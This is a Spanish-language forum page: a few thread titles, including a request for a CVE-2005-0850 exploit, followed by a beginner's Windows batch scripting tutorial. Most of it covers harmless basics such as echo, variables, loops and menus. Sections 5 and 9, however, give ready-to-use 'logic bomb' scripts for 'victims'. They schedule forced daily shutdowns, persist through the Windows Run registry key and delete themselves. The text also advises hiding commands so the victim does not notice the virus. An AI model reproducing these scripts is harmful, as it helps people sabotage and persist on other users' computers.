Temas

Alguien puede pasarme un exploit para la Vulnerabilidad CVE-2005-0850
ya busq en google pero lo unico que encuentro es mas informacion del bug

HEEEEEELLLLP

Hola a todos
Mi sugerencia es que alguien que sepa mucho sobre hacking y que ya se haya infiltrado en sistemas haga una serie de videos de demostraciones de infiltraciones a otra computadora que el tenga y asi todos veriamos un ejemplo practico de como se hackea...

Algien sabe como instalar las herramientas de backtrack en ubuntu 12.04???
vi una guia en hackxcrack pero solo servia en ubuntu 11 y versiones anteriores heeelp

Hola,quiero saber si es posible instalar linux ubutnut(o como se escriba xD)en windows 7
sin particionar el disco

Hola a todos hoy os traigo este code de una barra progresiva en la que la pantalla no titila aca esta el codigo pruvenlo esta muy bueno:

Código (dos) [Seleccionar] Expandir


@echo off
rem by pssnelgj
setlocal enabledelayedexpansion enableextensions
echo.
echo. Cargando...
echo.
set "bar="
set "percent=0"
set "count=0"
for /l %%i in (1,1,50) do set "bar=!bar!±"
:loop
set /p "= %bar:~0,20% %percent%%%"<nul
ping -n 1 -w 1 localhost>nul
for /l %%i in (1,1,26) do set /p "="<nul
set "bar=Û%bar%"
set /a "count+=1"
set /a "percent+=5"
if %count% leq 20 goto:loop
echo.
echo.
echo. Done.
pause>nul
exit
 


 

Hola, quiero hacer un generador de letras aleatorias y las escriba en la pantalla

¿alguna idea?

Indice
1.¿Que es Batch?
1.1Codigos Basicos y Pequeña Practica Iniciativa
2¿Como guardo el Batch?
3.Tamaño de la pantalla DOS
4.Variables
4.1Variables de Entorno
5.Bombas Logicas
6.IF (not) & IF (NOT) EXIST
6.1.Aplicacion del IF a las variables y menúes
7. Bucles
8.Crear y modificar archivos .txt desde batch  
9.Automatizando Tareas (AT)




I---------------------------------------------I

1. ¿Que es Batch?
Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite utilizar comandos de CMD (o simbolo de sistema), tanto como variables y condiciones como IF, IF exist, etc.
Se programa en el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria.
Como compilador usaremos tambien el block de notas con el procedimiento explicado en el capitulo 2

I---------------------------------------------I

1.1 Codigos Basicos y Pequeña Practica

Lo primero es abrir el Block de Notas. Inicio > Todos los progrmas > accesorios > Block de Notas



Los comandos basicos de batch son los siguientes:
Código:

*ECHO: imprime un texto en pantalla
*@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa.
* DIR: muestra un listado con el contenido de un directorio.
* TYPE: muestra el contenido de un archivo en pantalla.
* COPY: copia archivos en otro lugar.
* REN (RENAME): renombra archivos.
* DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad).
* MD o MKDIR: crea un nuevo directorio.
* CD o CHDIR: cambia el directorio actual por el especificado.
* RD o RMDIR: borra un directorio vacío.
* DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones)
* CLS: limpia la pantalla.
* HELP: ayuda sobre las distintas órdenes.
* SORT: ordena Datos
*SHUTDOWN: apaga el ordenador

Ahora nos vamos a la practica

Abres el Block y escribes el siguiente codigo.

Código (dos) [Seleccionar] Expandir


@echo off
title Primer Programa
echo presiona una tecla
pause
echo hola
pause > nul
exit


Aca una screen del codigo anterior luego de ser compilado y funcionando:


Ahora expliquemos el codigo que copiaste.

@echo off
este codigo lo que hace es ocultar todos los comando que vas a utilizar en el programa, sino nos apareceria lo que pusimos y la victima se daria cuenta de que es un virus en caso de que lo sea.


title
este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa.


echo
este code sirve para "imprimir" o mostrar lo que es cribamos en la pantalla.
por ejemplo
echo hola
en la pantalla apareceria "hola"


pause
esto crea una pausa en el programa y tienes que presionar una tecla para proseguir.


pause > nul
esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que dice "presione un tecla para proseguir"

I---------------------------------------------I

2 ¿Como guardo el Batch?

Primero ponemos el codigo en el block de notas luego pulsamos Archivo>Guardar como...


Luego en el nombre ponemos el nombre que le queramos poner y los mas importante tiene que tener la extension .bat Tambien nos aseguramos que abajo diga "todos los archivos"


I---------------------------------------------I
3.Tamaño de la pantalla MS_DOS

El tamaño de la pantalla MS-DOS se puede definir con estos comandos:
mode con lines=Un numero
mode con cols=Un numero

En mode con lines=numero el numero que pongas equivale al numero de lineas que va ha tener la pantalla
En mode con cols=numero el numero equivale al numero de columnas
Ej:

Código (dos) [Seleccionar] Expandir


@echo off
mode con lines=10
mode con cols=150
echo hola
pause >  nul
exit

4. Variables

DEFINICION

Las variables se usan en la mayoria de los lenguajes de programacion(diria en todos pero no conozco todos  ). Son datos que pueden ir cambiando a medida que el programa corre. Las variables pueden adquirir diferentes valores alfanumericos (letras y numeros), tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas.

Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %zero%


A LA PRACTICA

comenzaremos examinando el code siguiente:

Código (dos) [Seleccionar] Expandir


@echo off
title variables
echo bienvenido al ejercicio para aprender variables
echo .
echo presiona una tecla para continuar
pause > nul
set /p nombre=como te llamas?
set /p edad=cuantos años tenes?
set /p comida= que comes?
pause > nul
echo hola %nombre%
echo veo que tienes %edad% años verdad?
echo como rayos te puede gustar %comida%?
pause > nul
exit


Ahora Examinemos el code:


set /p nombre=como te llamas?
con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el comando para llamr variables.
/p significa que el usuario le pondra el valora la variable por medio de una pregunta.
"nombre" ahi esta el nombre dela variable.
"=como te llamas?" es la pregunta que se le hara al usuario.

tambien se puede otorgar un valor a la variable sin preguntarle al usuario. por ejemplo

set var=pesos

---

echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar %comida%? XD
exit
Aqui imprime en pantalla un texto usando las variables, como mencione al principio las variables se llaman entre "%". entonces el batch imprimira en pantalla el valor de las variables nombre, edad y comida adicionadas con el texto expuesto.

este seria el ejemplo del programa corriendo asi se entiende mejor:


Bienvenidos al ejercicio para aprender variables
.
Presione una tecla para continuar

como te llamas? holy
que edad tienes? 14
que comes? nada

hola holy veo que tienes 14 años verdad? como rayos te puede gustar nada? XD



I---------------------------------------------I

4.1 Variables del entorno
hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para asegurar (o subir mucho la probabilidad) que funcionen las ordenes del batch que hagamos. Por ejemplo:
nosotros progrmamamos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe"
logicamente le podremos que busque en la ruta c:/windows/system32/
pero que pasa si la victima no tiene instalado win en c: y lo tiene instaldo en la particion e claro el batch dira que no estan pero en realidad si estan pero en otra unidad entonces para evitar este tipo de errores usaremos las variables del entorno que son las siguientes:


%ALLUSERSPROFILE% ------> todos los usuarios
%APPDATA% ---------> datos de programa
%PROMPT%%TEMP% y %TMP% ---------> temporales
%USERDOMAIN% -----------> obtener dominio
%USERNAME% --------------->nombre del usuario Actual
%USERPROFILE% ---------------> usuario configuracion
%programfiles% ---------------> archivos de programas
%systemroot% ----------------> windows
%homedrive% --------------> disco Raiz

para este caso nos serviria la variable de "%homedrive%". Pongamos el ejemplo con un simple batch que ejecuta el notepad

Código (dos) [Seleccionar] Expandir


@echo off
title pruba
echo ahora se ejecutara el notepad
%homedrive%/windows/system32/notepad.exe
exit

en caso de que tubieramos en el disco c:

eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de progrmar batch.

I---------------------------------------------I

5. Bombas Logicas y Virus en Batch

Es muy facil crear codigos que perjudiquen o molesten a una victima que ejecute nuestro batch. A continuacion les mostrare una forma de crear una pequeña bomba logica en batch que hara que se apage el ordenador de la victima a las 17:00 todos los dias.


Primero aprender la definicion concreta de Bomba Lógica: Bomba Logica

Las bombas logicas complejas pueden programarce en lenguajes mas complejos como Visual Basic. Pero como tu solo buscas algo simple para  a alguien te recomiendo batch.

Mira este code

Código (dos) [Seleccionar] Expandir


shutdown -s -f -t 15 -c "hola mundo"

ahora explicamos el code


shutdown
el mismo nombre te lo dice, apaga el equipo


-s
activa apagar el equipo


-f
Fuerza a las aplicaciones activas a cerrrarse


-t xx
Es el tiempo en el que tardara en apagarse en ordenador.(xx representa el numero que quieras)


-c "x"
muestra un mensaje con lo que quieras (donde esta la x pones el mensaje)

entonces si creamos un batch que se inicie con windows y apage la pc de la victima a las 17:00 joderemos mucho a la victima.

Código (dos) [Seleccionar] Expandir


@echo off
AT 17:00 shutdown -s -f -t 2 -c "Jodete" >> c:/windows/system32/windosx.bat
REG ADD HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v sysin2 /t REG_SZ /d "c:/windows/system32/windosx.bat"
exit


lo que haria esto en "teoria" seria apagar el pc en 2 segundos a las 17:00 de cada dia y agregarse al registro de windows, osea que su pc se apagara en 2 segs. todos los dias a las 17:00.

I---------------------------------------------I

6. IF (not) & IF (NOT) EXIST

IF es un comando que permite verificar algo. Si es verdadero o no hace una accion determinada. Su principal rol en los batch es verificar si alguna variable es "tal" valor numerico. Aqui mostraremos un claro ejemplo de su funcion que no es para nada complicada

Código (dos) [Seleccionar] Expandir


@echo off
set /p var=cuanto es 1+1??
if %var%==2 (echo bien) else echo mal
pause




En cambio IF NOT es exactamente lo contrario, verifica que algo no sea = a un valor espesificado. Aqui se ve claramente:

Código (dos) [Seleccionar] Expandir


@echo off
set /p var=cuanto es 1+1??
if not %var%==2 (echo mal) else echo bien
pause



IF (NOT) EXIST verifica que exista cierto archivo. Tiene un funcionamiento identico al IF (NOT), solo que trabajo sobre archivos y no valores alfanumericos. Lo verificamos con el siguiente code:

Código (dos) [Seleccionar] Expandir


@echo off
if exist c:/windows/system32/explorer.exe (echo tenes explorer.exe) else echo no tenes explorer.exe
pause > nul




I---------------------------------------------I

6.1 Aplicacion del IF a las variables y menúes
IF nos ayuda a la hora de crear menúes. Ya que podemos asignarle un numero a cada opcion del menú y asi cuando el usuario ingrese cierto numero nos llevara al lugar designado. No se entiende totalmente en palabras por eso les he formulado este simple code que lo explica.

Código (dos) [Seleccionar] Expandir


@echo off
:menu
echo 1. ping a google
echo 2. ping a wikipedia
set /p var=a quien quieres hacer un ping??

if %var%==1 (goto goo)
if %var%==2 (goto wiki)
if %var%=="" (goto menu)

:goo
ping www.google.com
pause
goto menu

:wiki
ping www.wikipedia.com
pause
goto menu



I---------------------------------------------I

7. Bucles

Los bucles son comandos que se ejecutan muchas veces, generalmente indefinidamente. Estos bucles se pueden realizar muy facilmente con etiquetasm tal como en el siguiente ejemplo.

Código (dos) [Seleccionar] Expandir


@echo off
:bucle
echo holy manda!
goto bucle



como ven si lo prueban, se ejecutara el comando infinitamente hasta que saquemos el programa.
Pero tambien se puede hacer que el comando se ejecute un numero de veces determinado con el uso de una variante del SET y el IF. Aqui se los muestro con un clarisimo ejemplo.

Código (dos) [Seleccionar] Expandir


@echo off
set var=10

:bucle
if %var%==0 (goto exit) else set /A var=%var%-1
echo hola viteh!
goto bucle

:exit
echo hola
pause
exit

I---------------------------------------------I
8.Creacion y modificacion de ARCHIVOS
Bueno, ahora voy a enseñar cómo podemos conseguir crear, a partir de un simple archivo .bat otro archivo completamente distinto e independiente. Para ello, vamos a utilizar el símbolo ">", el cual va a hacer que nuestro .bat genere el archivo que nosotros queramos. Vamos a verlo con este sencillo e interesante código. En este caso, vamos a hacer que nuestro .bat genere un archivo de texto llamado "prueba.txt" Vamos a verlo:

Código (dos) [Seleccionar] Expandir


@echo off
cd %homepath%\Escritorio
echo off>prueba.txt
exit


Analisis del código
-----------------------

@echo off: lo de siempre, esto se pone al principio de todos los archivos .bat

cd %homepath%\Escritorio : esta es la ruta del escritorio, para que el archivo que vamos a crear se cree ahí.

echo off>prueba.txt : esto hará que se cree el archivo de texto prueba.txt. Observad que hemos usado el símbolo > para ello.

exit : esto hará que el programa se cierre cuando haya ejecutado todos los comandos anteriores
Para modificar los archivos se usa el simbolo >> por ejemplo

Código (dos) [Seleccionar] Expandir


@echo off
cd %homepatch%\escritorio
echo off>prueba.txt
echo esto es una prueva>>prueba.txt
exit

I-------------------------------I
9. Automatizando Tareas (AT)
El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha determinada. Por ejemplo qeu el dia 24/12/07 a las 14:45 borre todos los accesos directos del escritorio. O que a las 5 de todos los dias se apague el pc. O tambien que se ejecute algo todos los 24. Aqui les mostrare unos ejemplos y veran los facil que es.

Código (dos) [Seleccionar] Expandir


@echo off
at 4:00 shutdown -s -f -t 01
pause > nul
exit


Código (dos) [Seleccionar] Expandir


@echo off
at /every:4/2 4:00 shutdown -s -f -t 01
pause > nul
exit

Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el comando a la clave run del registro para que inicie con windows. No es para nada complicado. Lo unico seria agregar un add reg.

Código (dos) [Seleccionar] Expandir


@echo off
rem este code contiene una redireccion, estan explicadas en un prox capitulo.
at 3:00 shutdown -s -f -t 05 > c:/shut.bat
REG ADD HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v sysin2 /t REG_SZ /d "c:/shut.bat"
del %0
exit


I---------------------------------------------I

espero que te haya servido este tuto.